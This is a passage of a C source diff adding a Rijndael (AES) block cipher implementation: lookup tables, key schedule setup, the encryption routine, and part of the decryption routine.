0x9f9f9f9fU, + 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, + 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, + 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, + 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, + 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, + 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, + 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, + 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, + 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, +}; +static const u32 rcon[] = { + 0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ +}; + +#define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) +#define PUTU32(ct, st) { (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } + +/** + * Expand the cipher key into the encryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +int +rijndaelKeySetupEnc(u32 rk[/*4*(Nr + 1)*/], const u8 cipherKey[], int keyBits) +{ + int i = 0; + u32 temp; + + rk[0] = GETU32(cipherKey ); + rk[1] = GETU32(cipherKey + 4); + rk[2] = GETU32(cipherKey + 8); + rk[3] = GETU32(cipherKey + 12); + if (keyBits == 128) { + for (;;) { + temp = rk[3]; + rk[4] = rk[0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[5] = rk[1] ^ rk[4]; + rk[6] = rk[2] ^ rk[5]; + rk[7] = rk[3] ^ rk[6]; + if (++i == 10) { + return 10; + } + rk += 4; + } + } + rk[4] = GETU32(cipherKey + 16); + rk[5] = GETU32(cipherKey + 20); + if (keyBits == 192) { + for (;;) { + temp = rk[ 5]; + rk[ 6] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 7] = rk[ 1] ^ rk[ 6]; + rk[ 8] = rk[ 2] ^ rk[ 7]; + rk[ 9] = rk[ 3] ^ rk[ 8]; + if (++i == 8) { + return 12; + } + rk[10] = rk[ 4] ^ rk[ 9]; + rk[11] = rk[ 5] ^ rk[10]; + rk += 6; + } + } + rk[6] = GETU32(cipherKey + 24); + rk[7] = GETU32(cipherKey + 28); + if (keyBits == 256) { + for (;;) { + temp = rk[ 7]; + rk[ 8] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 9] = rk[ 1] ^ rk[ 8]; + rk[10] = rk[ 2] ^ rk[ 9]; + rk[11] = rk[ 3] ^ rk[10]; + if (++i == 7) { + return 14; + } + temp = rk[11]; + rk[12] = rk[ 4] ^ + (Te4[(temp >> 24) ] & 0xff000000) ^ + (Te4[(temp >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(temp >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(temp ) & 0xff] & 0x000000ff); + rk[13] = rk[ 5] ^ rk[12]; + rk[14] = rk[ 6] ^ rk[13]; + rk[15] = rk[ 7] ^ rk[14]; + rk += 8; + } + } + return 0; +} + +/** + * Expand the cipher key into the decryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +int +rijndaelKeySetupDec(u32 rk[/*4*(Nr + 1)*/], const u8 cipherKey[], int keyBits) +{ + int Nr, i, j; + u32 temp; + + /* expand the cipher key: */ + Nr = rijndaelKeySetupEnc(rk, cipherKey, keyBits); + + /* invert the order of the round keys: */ + for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { + temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; + temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; + temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; + temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; + } + /* apply the inverse MixColumn transform to all round keys but the first and the last: */ + for (i = 1; i < Nr; i++) { + rk += 4; + rk[0] = + Td0[Te4[(rk[0] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[0] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[0] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[0] ) & 0xff] & 0xff]; + rk[1] = + Td0[Te4[(rk[1] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[1] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[1] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[1] ) & 0xff] & 0xff]; + rk[2] = + Td0[Te4[(rk[2] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[2] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[2] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[2] ) & 0xff] & 0xff]; + rk[3] = + Td0[Te4[(rk[3] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[3] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[3] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[3] ) & 0xff] & 0xff]; + } + return Nr; +} + +void +rijndaelEncrypt(const u32 rk[/*4*(Nr + 1)*/], int Nr, const u8 pt[16], + u8 ct[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(pt ) ^ rk[0]; + s1 = GETU32(pt + 4) ^ rk[1]; + s2 = GETU32(pt + 8) ^ rk[2]; + s3 = GETU32(pt + 12) ^ rk[3]; +#ifdef FULL_UNROLL + /* round 1: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[ 4]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[ 5]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[ 6]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[ 7]; + /* round 2: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[ 8]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[ 9]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[10]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[11]; + /* round 3: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[12]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[13]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[14]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[15]; + /* round 4: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[16]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[17]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[18]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[19]; + /* round 5: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[20]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[21]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[22]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[23]; + /* round 6: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[24]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[25]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[26]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[27]; + /* round 7: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[28]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[29]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[30]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[31]; + /* round 8: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[32]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[33]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[34]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[35]; + /* round 9: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[36]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[37]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[38]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[39]; + if (Nr > 10) { + /* round 10: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[40]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[41]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[42]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[43]; + /* round 11: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[44]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[45]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[46]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[47]; + if (Nr > 12) { + /* round 12: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[48]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[49]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[50]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[51]; + /* round 13: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[52]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[53]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[54]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[55]; + } + } + rk += Nr << 2; +#else /* !FULL_UNROLL */ + /* + * Nr - 1 full rounds: + */ + r = Nr >> 1; + for (;;) { + t0 = + Te0[(s0 >> 24) ] ^ + Te1[(s1 >> 16) & 0xff] ^ + Te2[(s2 >> 8) & 0xff] ^ + Te3[(s3 ) & 0xff] ^ + rk[4]; + t1 = + Te0[(s1 >> 24) ] ^ + Te1[(s2 >> 16) & 0xff] ^ + Te2[(s3 >> 8) & 0xff] ^ + Te3[(s0 ) & 0xff] ^ + rk[5]; + t2 = + Te0[(s2 >> 24) ] ^ + Te1[(s3 >> 16) & 0xff] ^ + Te2[(s0 >> 8) & 0xff] ^ + Te3[(s1 ) & 0xff] ^ + rk[6]; + t3 = + Te0[(s3 >> 24) ] ^ + Te1[(s0 >> 16) & 0xff] ^ + Te2[(s1 >> 8) & 0xff] ^ + Te3[(s2 ) & 0xff] ^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Te0[(t0 >> 24) ] ^ + Te1[(t1 >> 16) & 0xff] ^ + Te2[(t2 >> 8) & 0xff] ^ + Te3[(t3 ) & 0xff] ^ + rk[0]; + s1 = + Te0[(t1 >> 24) ] ^ + Te1[(t2 >> 16) & 0xff] ^ + Te2[(t3 >> 8) & 0xff] ^ + Te3[(t0 ) & 0xff] ^ + rk[1]; + s2 = + Te0[(t2 >> 24) ] ^ + Te1[(t3 >> 16) & 0xff] ^ + Te2[(t0 >> 8) & 0xff] ^ + Te3[(t1 ) & 0xff] ^ + rk[2]; + s3 = + Te0[(t3 >> 24) ] ^ + Te1[(t0 >> 16) & 0xff] ^ + Te2[(t1 >> 8) & 0xff] ^ + Te3[(t2 ) & 0xff] ^ + rk[3]; + } +#endif /* ?FULL_UNROLL */ + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Te4[(t0 >> 24) ] & 0xff000000) ^ + (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[0]; + PUTU32(ct , s0); + s1 = + (Te4[(t1 >> 24) ] & 0xff000000) ^ + (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[1]; + PUTU32(ct + 4, s1); + s2 = + (Te4[(t2 >> 24) ] & 0xff000000) ^ + (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[2]; + PUTU32(ct + 8, s2); + s3 = + (Te4[(t3 >> 24) ] & 0xff000000) ^ + (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[3]; + PUTU32(ct + 12, s3); +} + +static void +rijndaelDecrypt(const u32 rk[/*4*(Nr + 1)*/], int Nr, const u8 ct[16], + u8 pt[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(ct ) ^ rk[0]; + s1 = GETU32(ct + 4) ^ rk[1]; + s2 = GETU32(ct + 8) ^ rk[2]; + s3 = GETU32(ct + 12) ^ rk[3]; +#ifdef FULL_UNROLL + /* round 1: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[ 4]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[ 5]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[ 6]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[ 7]; + /* round 2: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[ 8]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[ 9]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[10]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[11]; + /* round 3: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[12]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[13]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[14]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[15]; + /* round 4: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[16]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[17]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[18]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[19]; + /* round 5: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[20]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[21]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[22]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[23]; + /* round 6: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[24]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[25]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[26]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[27]; + /* round 7: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[28]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[29]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[30]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[31]; + /* round 8: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[32]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[33]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[34]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[35]; + /* round 9: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[36]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[37]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[38]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[39]; + if (Nr > 10) { + /* round 10: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[40]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[41]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[42]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[43]; + /* round 11: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[44]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[45]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[46]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[47]; + if (Nr > 12) { + /* round 12: */ + s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[48]; + s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[49]; + s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[50]; + s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[51]; + /* round 13: */ + t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[52]; + t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[53]; + t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[54]; + t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[55]; + } + } + rk += Nr << 2; +#else /* !FULL_UNROLL */ + /* + * Nr - 1 full rounds: + */ + r = Nr >> 1; + for (;;) { + t0 = + Td0[(s0 >> 24) ] ^ + Td1[(s3 >> 16) & 0xff] ^ + Td2[(s2 >> 8) & 0xff] ^ + Td3[(s1 ) & 0xff] ^ + rk[4]; + t1 = + Td0[(s1 >> 24) ] ^ + Td1[(s0 >> 16) & 0xff] ^ + Td2[(s3 >> 8) & 0xff] ^ + Td3[(s2 ) & 0xff] ^ + rk[5]; + t2 = + Td0[(s2 >> 24) ] ^ + Td1[(s1 >> 16) & 0xff] ^ + Td2[(s0 >> 8) & 0xff] ^ + Td3[(s3 ) & 0xff] ^ + rk[6]; + t3 = + Td0[(s3 >> 24) ] ^ + Td1[(s2 >> 16) & 0xff] ^ + Td2[(s1 >> 8) & 0xff] ^ + Td3[(s0 ) & 0xff] ^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Td0[(t0 >> 24) ] ^ + Td1[(t3 >> 16) & 0xff] ^ + Td2[(t2 >> 8) & 0xff] ^ + Td3[(t1 ) & 0xff] ^ + rk[0]; 